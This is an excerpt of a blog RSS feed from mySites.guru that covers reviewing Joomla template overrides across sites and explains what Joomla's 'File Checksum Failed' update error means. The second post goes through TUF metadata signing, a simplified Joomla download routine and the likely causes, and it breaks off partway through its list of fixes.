&lt;p&gt;No emails or alerts are sent for new unchecked overrides. An override to check is a review task rather than an incident, so the check turns yellow, the All Sites page shows it, and you deal with it on your own schedule.&lt;/p&gt;
&lt;h2&gt;Reviewing An Override Without Logging In To Joomla&lt;/h2&gt;
&lt;p&gt;Investigate on a site opens its Template Overrides To Check page: one row per unchecked override, with the template (and a Site or Admin pill), the override path, what changed it (Joomla Update, Extension Update or Extension Install), the date, and three actions: Edit, Mark checked, and Open in Joomla admin.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/check-joomla-template-overrides-across-sites-investigate-list.9BL675pV_Z2oSgId.webp&quot; alt=&quot;The Template Overrides To Check page for one site showing 12 overrides to check, a Mark all checked button, and a table of overrides in the yootheme and atom templates with the path, a Joomla Update pill, the date, and Edit, Mark checked and Open in Joomla admin actions&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1026&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;Mark checked fades the row out and the count updates live. “Mark all checked” clears the whole list after a confirmation, for the site where you have looked at the overrides and know they are fine. Up to 500 rows are listed, with the real total shown above them.&lt;/p&gt;
&lt;p&gt;“Checked” is Joomla’s own flag. Marking an override checked in mySites.guru sets the same state 1 in &lt;code&gt;#__template_overrides&lt;/code&gt; that Template Manager sets, so the dashboard notice on the site clears too. Every edit and every mark is written to the site’s Joomla action log, so a colleague looking in Joomla later can see what happened and when.&lt;/p&gt;
&lt;h3&gt;The Editor and the Differences Tab&lt;/h3&gt;
&lt;p&gt;Edit opens an editor with three tabs. Your Override File is the override source in an editable code editor with line numbers and syntax highlighting. Joomla Core File is read only: the current core file the override copies, so you can see exactly what the update put there. Differences shows the two side by side, Joomla core on the left and your override on the right, with changed lines tinted.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/check-joomla-template-overrides-across-sites-editor-override.CIKAtN9P_oKjs5.webp&quot; alt=&quot;The Edit override modal on the Your Override File tab, showing the override&apos;s PHP source in a code editor with line numbers and syntax highlighting&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1056&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The diff is built from what is in the editor right now, so an edit you have not saved yet shows up in Differences straight away. Each change has two small buttons between the columns. The arrow copies the Joomla core lines for that change into your override: take the new core code. The bin deletes your override’s lines for that change: drop what you added. Work down the diff deciding which, and the override is current.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/check-joomla-template-overrides-across-sites-editor-diff.CVZbMm39_1pDGn7.webp&quot; alt=&quot;The Edit override modal on the Differences tab for templates/atom/html/layouts/joomla/content/full_image.php, Joomla Core File on the left and Your Override File on the right with changed lines tinted, an arrow and a bin button beside each change, and Close, Save and Save and mark checked buttons in the footer&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1056&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;A real override written for an older Joomla. The core layout gained a LayoutHelper import, an early return and three new variables the override never had.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The current core layout in that screenshot has a &lt;code&gt;use Joomla\CMS\Layout\LayoutHelper;&lt;/code&gt; line, an early &lt;code&gt;if (empty($images-&amp;gt;image_fulltext)) { return; }&lt;/code&gt;, and &lt;code&gt;$figureClass&lt;/code&gt;, &lt;code&gt;$imageClass&lt;/code&gt; and &lt;code&gt;$layoutAttr&lt;/code&gt; variables that the override lacks. Each of those is one arrow click.&lt;/p&gt;
&lt;p&gt;Save writes the file to the site. “Save and mark checked” does both in one go, and Ctrl/Cmd + S saves. Closing with unsaved changes asks first. If the file changed on the site since you opened it, nothing is saved and you are told, with the option to reload, so two people editing the same template never overwrite each other. Files up to 1 MB can be edited here.&lt;/p&gt;
&lt;h2&gt;Turning Joomla’s Override Tracking Back On&lt;/h2&gt;
&lt;p&gt;A count of zero can mean two things: every override has been reviewed, or the plugin that records them is off and nothing has been recorded since. mySites.guru keeps the two apart by showing “Tracking is off” in place of a count.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/check-joomla-template-overrides-across-sites-tracking.BcZkB7JK_2cVcMh.webp&quot; alt=&quot;The Template Override Tracking page showing Installer - Override plugin with an On pill, a Turn off switch, the note that Joomla records an override whenever an update changes the core file behind it, and a line saying 12 overrides are waiting for review with a link to Template Overrides To Check&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;438&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The Template Override Tracking Investigate page shows the plugin’s state and has a switch to turn it on or off, without logging in to the site. Remember the limit from earlier: turning it back on only records updates from then on. Whatever changed while it was off is not coming back.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A site with tracking off has no history&lt;/p&gt;&lt;div&gt;&lt;p&gt;A site with the Installer - Override plugin disabled has no record of which overrides the last update changed, and switching it on today does not recover that. Switch it on now rather than after the next update day, then open the overrides you care about once and compare them in the Differences tab.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Updates Run From mySites.guru Now Get Recorded&lt;/h2&gt;
&lt;p&gt;Joomla’s comparison needs its “before” list and its “after” list from the same update. A Joomla core update run from mySites.guru runs as separate requests, so Joomla lost the “before” list and recorded nothing. An extension installed from a URL through mySites.guru had the same gap. Both are now recorded, the same as if you had run them from Joomla’s admin. Extension updates through mySites.guru already recorded correctly.&lt;/p&gt;
&lt;p&gt;One consequence: core updates run from mySites.guru before this change recorded nothing, so any override they changed is not in the list. From the next update on, the list is complete.&lt;/p&gt;
&lt;h2&gt;A Practical Routine For 100+ Joomla Sites&lt;/h2&gt;
&lt;p&gt;Here is how I run it across client sites, in order.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;After a &lt;a href=&quot;https://mysites.guru/bulk-update-joomla/&quot;&gt;bulk update&lt;/a&gt; day, open the All Sites page for Template Overrides To Check. Ignore the green rows.&lt;/li&gt;
&lt;li&gt;Work the yellow rows, biggest count first. Investigate, open the Differences tab on each override, arrow in what core changed, bin what you never meant to keep, then Save and mark checked.&lt;/li&gt;
&lt;li&gt;Delete overrides no one customised. This is Teeman’s point: an override you never changed is pure maintenance debt. Delete the file in Joomla’s Template Manager or with the &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;mySites.guru file manager&lt;/a&gt;, and the next update stops flagging it.&lt;/li&gt;
&lt;li&gt;Switch tracking on where it is off. Open the All Sites page for Template Override Tracking, Investigate, flip the switch.&lt;/li&gt;
&lt;li&gt;Between update days, let the Manage Site “Important” tab do the reminding. It shows a card when a site has overrides to check (and tracking is on), with a button to the review page. In the sites list, search &lt;code&gt;has-overrides-to-check&lt;/code&gt; to filter to just those sites.&lt;/li&gt;
&lt;li&gt;After a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;core upgrade&lt;/a&gt;, the upgrade status page shows a “Review template overrides” button once the upgrade finishes OK on a site whose last snapshot had overrides to check.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you script against mySites.guru, the API and MCP site summary now has the fields &lt;code&gt;template_overrides_unchecked&lt;/code&gt; and &lt;code&gt;template_override_tracking_enabled&lt;/code&gt;, plus an attention reason &lt;code&gt;template_overrides_unchecked&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Separately, Joomla 5.4.8 and 6.1.3 &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-8-template-manager-broken/&quot;&gt;broke override creation in Template Manager&lt;/a&gt;, a different problem from reviewing them.&lt;/p&gt;
&lt;h2&gt;Requested by Jaz, Shipped the Same Day&lt;/h2&gt;
&lt;p&gt;On 14 October 2026 at 16:16 UTC, Jaz posted a request on the &lt;a href=&quot;https://manage.mysites.guru/en/feature-requests&quot;&gt;mySites.guru Feature Requests board&lt;/a&gt;: “Snapshot check to show if there are Joomla template overrides that need checking”. The aim was to stop logging in to every site’s admin to find out. It was marked shipped at 19:08 UTC the same day, under three hours later. Thanks Jaz.&lt;/p&gt;
&lt;p&gt;The Template Override Tracking check came out of building it. I had never known the Installer - Override plugin existed, and a site with it switched off records nothing at all, so its state became a check of its own.&lt;/p&gt;
&lt;p&gt;A lot of mySites.guru gets built this way. &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;Detecting locked Joomla scheduled tasks&lt;/a&gt; was a customer request, and so were several of the &lt;a href=&quot;https://mysites.guru/blog/summer-2026-new-features/&quot;&gt;summer 2026 features&lt;/a&gt;. If there is a fact about your sites you keep logging in to check, post it on the board.&lt;/p&gt;
&lt;h2&gt;Try It On Your Own Joomla Sites&lt;/h2&gt;
&lt;p&gt;mySites.guru connects your Joomla and WordPress sites to one dashboard, and has been trusted since 2012, with 90,000+ sites protected. Both override checks run on every connected Joomla 4, 5 and 6 site from its next snapshot.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up&lt;/a&gt;, connect a Joomla site, run a snapshot, and open the All Sites page. If it comes back yellow, open the Differences tab on the first override and see what the last update changed behind your back. Plans are on the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing page&lt;/a&gt;, and the &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;Joomla multi-site page&lt;/a&gt; covers the rest of what mySites.guru runs across your sites.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Improved_Override_Management&quot;&gt;Improved Override Management (Joomla Documentation)&lt;/a&gt; - what the Installer - Override plugin records and where Joomla shows it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/july-2022/joomla-override-management&quot;&gt;Joomla Improved Override Management, Astrid Günther (Joomla Community Magazine)&lt;/a&gt; - why overrides need reviewing, with a Cassiopeia example from a point release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/december-2024/managing-template-overrides-in-joomla&quot;&gt;Managing Template Overrides in Joomla, Brian Teeman (Joomla Community Magazine)&lt;/a&gt; - the case for deleting overrides you never modified&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Templates:_Customise&quot;&gt;Templates: Customise (Joomla 5 help screen)&lt;/a&gt; - the Template Manager screen, including the Updated Files tab&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>template overrides</category><category>overrides</category><category>com_templates</category><category>snapshot</category><category>joomla updates</category><category>feature requests</category><enclosure url="https://mysites.guru/img/og/blog/check-joomla-template-overrides-across-sites.png" length="0" type="image/png"/></item><item><title>What Does File Checksum Failed Mean in a Joomla Update, and How Do You Fix It?</title><link>https://mysites.guru/blog/joomla-file-checksum-failed/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-file-checksum-failed/</guid><description>Joomla&apos;s File Checksum Failed error means the update zip did not match its signed hash. A release-day glitch, a full disk or a wrong tmp path all cause it.</description><pubDate>Wed, 14 Oct 2026 09:55:45 GMT</pubDate><content:encoded>&lt;p&gt;You start a core update in Joomla Update and, instead of the update running, a red banner appears above the Pre-Update Check:&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-file-checksum-failed-screenshot.BZ57iImq_Zm5J9m.webp&quot; alt=&quot;Joomla Update in the Joomla 6 administrator showing a red File Checksum Failed error banner above the Pre-Update Check, with Required Settings all marked OK&quot; loading=&quot;lazy&quot; width=&quot;874&quot; height=&quot;655&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;“File Checksum Failed” means the update zip Joomla downloaded did not match the SHA-512 hash Joomla’s release team signed, so Joomla stopped before installing anything. The banner says nothing about why the two differed.&lt;/p&gt;
&lt;h2&gt;Reasons Why You Might See File Checksum Failed in Joomla Upgrade&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Joomla’s update servers, mirrors or CDN are serving a file that does not match the signed hash, usually in the hours after a new Joomla release.&lt;/li&gt;
&lt;li&gt;The file is fine but the published hash is wrong, because of a mistake when it was entered or signed. This has happened on release days before and is usually corrected within minutes of being spotted.&lt;/li&gt;
&lt;li&gt;The download failed or was cut short, or a proxy or firewall on your host interfered with it.&lt;/li&gt;
&lt;li&gt;Your disk or hosting quota is full, so the zip could not be written.&lt;/li&gt;
&lt;li&gt;The Path to Temp Folder in Global Configuration points at a folder that does not exist on this server, often one copied from a development machine.&lt;/li&gt;
&lt;li&gt;The temp folder exists but PHP cannot write to it.&lt;/li&gt;
&lt;li&gt;A truncated zip from an earlier attempt is still in the temp folder and Joomla keeps reusing it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The rest of this post explains what the check does, why it fails around Joomla releases, and how to tell which cause you have.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The short version&lt;/p&gt;&lt;div&gt;&lt;p&gt;Joomla downloaded the update zip, hashed it, and the hash did not match the one Joomla’s release team signed. Joomla installed none of it, so your site is unchanged. If the release is only hours old, wait an hour and try again. If it is not, check the Path to Temp Folder in Global Configuration, check your disk space, and delete any leftover &lt;code&gt;Joomla_*_Update_Package.zip&lt;/code&gt; from your tmp folder before retrying, because Joomla reuses a truncated zip instead of downloading it again.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What Joomla Checks Before It Installs an Update&lt;/h2&gt;
&lt;p&gt;Before extracting a core update package, Joomla calculates its SHA-512 hash and compares it with the hash in Joomla’s signed update metadata. If the two differ, Joomla stops there and shows the banner. The language string behind the banner is &lt;code&gt;COM_JOOMLAUPDATE_VIEW_UPDATE_CHECKSUM_WRONG&lt;/code&gt;, defined in &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/d7b2268f9184b67866156afb5446717e0612d169/administrator/language/en-GB/com_joomlaupdate.ini#L226&quot;&gt;com_joomlaupdate.ini&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A checksum, or hash, is a fixed-length fingerprint of a file. Change one byte of a 30 MB update zip and its SHA-512 changes completely. So if the hash of the file on your server matches the published one, you have the file the release team built, and if it does not, you have something else: a different build, a truncated download, an HTML error page saved under a &lt;code&gt;.zip&lt;/code&gt; name, or an empty file.&lt;/p&gt;
&lt;p&gt;Stopping is the right call. An update package is unpacked over the core files of your site, and a half-written or substituted package is the last thing you want extracted there.&lt;/p&gt;
&lt;h2&gt;Where the Signed Hash Comes From: TUF in Two Minutes&lt;/h2&gt;
&lt;p&gt;Since Joomla 5.1, core updates use &lt;a href=&quot;https://theupdateframework.io/&quot;&gt;The Update Framework&lt;/a&gt;, usually shortened to TUF. Before 5.1, Joomla read the expected hash from a plain XML file on the update server, so anyone who could change that file, or sit between your site and the server, could change the hash along with the package. TUF closes that gap by signing the metadata. David Jardin’s &lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;Joomla Magazine article on the 5.1 rollout&lt;/a&gt; explains why the project adopted it.&lt;/p&gt;
&lt;p&gt;TUF splits the job into four signed roles, described in the &lt;a href=&quot;https://theupdateframework.github.io/specification/latest/&quot;&gt;TUF specification&lt;/a&gt;:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;root&lt;/dt&gt;&lt;dd&gt;Lists the keys that are allowed to sign for every other role, and how many signatures each needs. Joomla publishes it as root.json.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;targets&lt;/dt&gt;&lt;dd&gt;Lists the releases Joomla offers, with the file length, its hashes and its download URLs. This is where the SHA-512 for each release package lives, and it is signed by Joomla release team members.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;snapshot&lt;/dt&gt;&lt;dd&gt;Records the current version of the targets file, so an attacker cannot mix an old targets file with new metadata.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;timestamp&lt;/dt&gt;&lt;dd&gt;Re-signed automatically each day with a short expiry, so a site can tell when it is being fed stale metadata. If this one lapses you get a different error, which we cover in &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;the offered update has expired&lt;/a&gt;.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Joomla’s own copy is at &lt;a href=&quot;https://update.joomla.org/cms/targets.json&quot;&gt;update.joomla.org/cms/targets.json&lt;/a&gt;, with its history in the &lt;a href=&quot;https://github.com/joomla/updates/commits/main/&quot;&gt;joomla/updates repository&lt;/a&gt;. Each release entry lists the package’s length in bytes, its SHA-512 hash and its download URLs. For Joomla core those are downloads.joomla.org, the GitHub release asset and update.joomla.org/releases.&lt;/p&gt;
&lt;p&gt;TUF and the checksum do two different jobs. TUF proves the &lt;em&gt;hash&lt;/em&gt; came from Joomla’s release team and has not been tampered with. The checksum proves the &lt;em&gt;zip&lt;/em&gt; on your server matches that hash. A TUF problem (expired, unsigned or tampered metadata) produces a &lt;code&gt;JLIB_INSTALLER_TUF_*&lt;/code&gt; error before any download starts, and “File Checksum Failed” only appears once the metadata has passed and the package itself has not.&lt;/p&gt;
&lt;p&gt;The TUF client library Joomla bundles, php-tuf, has its own &lt;a href=&quot;https://github.com/php-tuf/php-tuf/blob/1fc585dc5a090a4af94823e21470779f31030733/src/Client/Updater.php#L335-L348&quot;&gt;download method&lt;/a&gt; that stops at the signed length and checks the hash, as section 5.7 of the specification describes. Joomla does not use it. It uses TUF to fetch and verify the metadata, then downloads the package with its own HTTP code and compares hashes in a function that predates TUF. That older code is why one message covers so many causes.&lt;/p&gt;
&lt;h2&gt;The Most Common Reason for File Checksum Failed in Joomla&lt;/h2&gt;
&lt;p&gt;Most of the time the error appears because a new Joomla version has only just come out and the Joomla project is still firefighting the release. In that first hour or so, packages are still reaching the mirrors, the signed update metadata is still being deployed, and CDN caches around the world are still being purged. Until all of that settles, some sites that check for the update are handed a file, or a cached response, that does not match the signed hash, and each of them shows the same red banner.&lt;/p&gt;
&lt;p&gt;Nothing on your site needs fixing when this is the cause. The release team usually has it sorted within an hour or two, so if the version you are updating to came out today, wait and check for updates again later. If you cannot wait, download the package yourself, check its hash, and use Upload and Update, as described further down.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And yes, sometimes the Joomla project screws up the signing.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;How mySites.guru Spots the Local Causes Before an Update&lt;/h2&gt;
&lt;p&gt;When the cause is on Joomla’s servers, all your sites fail together and the fix is patience. When it is local, it is one site, and often one that has been broken for months without anyone noticing, because the temp folder is only touched when Joomla tries to install something.&lt;/p&gt;
&lt;p&gt;The most common local cause we see is a Path to Temp Folder copied from somewhere else. A site is built on a laptop or a staging server, the database and &lt;code&gt;configuration.php&lt;/code&gt; move to production, and &lt;code&gt;$tmp_path&lt;/code&gt; still points at &lt;code&gt;/Users/someone/Sites/client/tmp&lt;/code&gt; or &lt;code&gt;/home/staging/public_html/tmp&lt;/code&gt;. The site looks fine. Then an update or an extension install tries to write a file to a folder that does not exist on this server, and fails.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;mySites.guru&lt;/a&gt; checks the configured tmp and log paths on each connected Joomla site twice a day, and flags any that do not match the site’s own default folders. Across the Joomla sites connected to mySites.guru, &lt;strong&gt;11.6%&lt;/strong&gt; are currently flagged by that check. The fix is one click: mySites.guru resets both paths to the site’s own &lt;code&gt;tmp&lt;/code&gt; and &lt;code&gt;administrator/logs&lt;/code&gt; folders.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlalogs&quot;&gt;Log And Tmp Folders Should Use Default Locations&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. These run twice a day on every connected site.&lt;/p&gt;&lt;p&gt;It can also fix this across every connected site with one click.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlalogs&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;A separate check confirms that the tmp and logs folders are writable by PHP, and a &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;scheduled backup&lt;/a&gt; before any core update covers you if an update does get partway through. If you look after more than a handful of sites, the portfolio view also answers the first question this error raises: is it one site, or all of them? If all your sites on the same Joomla version fail at once, it is Joomla’s side.&lt;/p&gt;
&lt;h2&gt;Why Joomla Shows the Same Error for Five Different Problems&lt;/h2&gt;
&lt;p&gt;The confusion comes from &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/d7b2268f9184b67866156afb5446717e0612d169/administrator/components/com_joomlaupdate/src/Model/UpdateModel.php#L378-L464&quot;&gt;UpdateModel::download()&lt;/a&gt;. Simplified, it does this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Find the path to the temp directory and the local package.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$tempdir &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; /* Path to Temp Folder from Global Configuration */&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$target  &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $tempdir &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $basename;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// Do we have a cached file?&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$exists &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; is_file&lt;/span&gt;&lt;span&gt;($target);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$exists) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    // Try each download URL until one returns HTTP 200 and the write does not throw&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    while&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;($download &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;downloadPackage&lt;/span&gt;&lt;span&gt;($packageURL, $target)) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; isset&lt;/span&gt;&lt;span&gt;($sources[$mirror])) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        // ...next mirror&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// (a 0-byte cached file is re-downloaded; a non-empty one is reused as it is)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$response[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;check&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;isChecksumValid&lt;/span&gt;&lt;span&gt;($target, $updateInfo[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;object&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three things in that code explain almost all the reports.&lt;/p&gt;
&lt;p&gt;First, the hash check runs whatever happened before it. If all the mirrors failed, or the file was never written, Joomla still hashes &lt;code&gt;$target&lt;/code&gt;. PHP’s &lt;code&gt;hash_file()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt; for a missing file, &lt;code&gt;false&lt;/code&gt; does not equal the signed hash, and you get “File Checksum Failed” rather than “Download of update package failed”. The controller tests the checksum result first, so the download-failed message is only reached in one narrow case: when the initial request for the package URL throws.&lt;/p&gt;
&lt;p&gt;Second, &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/d7b2268f9184b67866156afb5446717e0612d169/administrator/components/com_joomlaupdate/src/Model/UpdateModel.php#L766-L808&quot;&gt;downloadPackage()&lt;/a&gt; does not check whether the file was written. It calls &lt;code&gt;File::write()&lt;/code&gt;, which returns &lt;code&gt;false&lt;/code&gt; when PHP’s &lt;code&gt;file_put_contents()&lt;/code&gt; fails, and ignores the return value. On a small RAM disk filled on purpose, PHP reports &lt;code&gt;No space left on device&lt;/code&gt;, &lt;code&gt;file_put_contents()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;, and Joomla’s code continues as if the download had succeeded.&lt;/p&gt;
&lt;p&gt;Third, Joomla keeps the file it downloaded. A failed check clears the session state but leaves the zip in the temp folder, and the next attempt reuses any non-empty file with the same name rather than downloading it again. Fix the disk space, retry, and the same truncated zip gives you the same error.&lt;/p&gt;
&lt;p&gt;So the same banner can mean any of these:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Release-day mismatch&lt;/dt&gt;&lt;dd&gt;The mirrors, the CDN cache and the signed metadata are briefly out of step during a release, or a hash was entered wrongly. All sites fail at once and it clears on its own, usually within an hour or two.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Failed or partial download&lt;/dt&gt;&lt;dd&gt;A mirror returned an error, a proxy or firewall interfered, or the connection was cut. A host that blocks outbound requests to GitHub or update.joomla.org can fail all three mirrors.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Disk or quota full&lt;/dt&gt;&lt;dd&gt;PHP could not write the update zip, the failed write was not caught, and the hash check ran on an empty or incomplete file. Check the hosting control panel for the account quota, not only the server disk.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Wrong Path to Temp Folder&lt;/dt&gt;&lt;dd&gt;The tmp path in configuration.php points at a folder that does not exist on this server, often one copied from a development machine. The zip is not saved anywhere.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Temp folder not writable&lt;/dt&gt;&lt;dd&gt;The path is right but PHP cannot write there, usually after files were copied with the wrong owner or permissions.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Joomla core developers have known about the first problem for years. When a wrong download URL caused this error on a 4.1.1 release candidate in 2022, one of them &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/37339#issuecomment-1075087579&quot;&gt;wrote on the issue&lt;/a&gt; that “the real message should have been that the download failed not that the checksums did not match and that should be patched”. Current Joomla still works this way.&lt;/p&gt;
&lt;h2&gt;Why Does This Keep Happening Around Joomla Releases?&lt;/h2&gt;
&lt;p&gt;Because a Joomla release is a set of manual and semi-manual steps done in a hurry, and the checksum is designed to catch any one of them going wrong. On release day the team builds the packages, uploads them to several places, signs the targets entry with their own keys, merges it, waits for CI to deploy, and relies on a CDN purge so the edge servers pick up the new files. Sites around the world start checking minutes later. If one mirror is a few minutes behind, one edge still has an old response cached, or one hash is pasted wrongly, the sites that check in that window get a mismatch. The release history near the end of this post shows how often that has happened.&lt;/p&gt;
&lt;p&gt;TUF could not have prevented this. It guarantees that the hash your site checks against was signed by Joomla’s release team. It cannot guarantee that the hash describes the file each mirror and CDN edge is serving at that minute.&lt;/p&gt;
&lt;p&gt;The same pattern hits the TUF metadata itself. When the daily timestamp file is not deployed in time, sites get a different error, which we traced in &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;the offered update has expired&lt;/a&gt;. Joomla’s update CDN has a &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772#issuecomment-2222641549&quot;&gt;documented history&lt;/a&gt; of caching a file at the wrong moment.&lt;/p&gt;
&lt;h2&gt;How Do I Fix File Checksum Failed in Joomla?&lt;/h2&gt;
&lt;p&gt;Work out which cause you have before changing anything. If the version you are updating to came out in the last few hours, start with step one. If it has been out for days and other people’s sites updated fine, skip to step two.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Wait an hour and check again. Go to System, Update, click Check for Updates, and retry. A release-day mismatch affects everyone and clears without any change to your site.&lt;/li&gt;
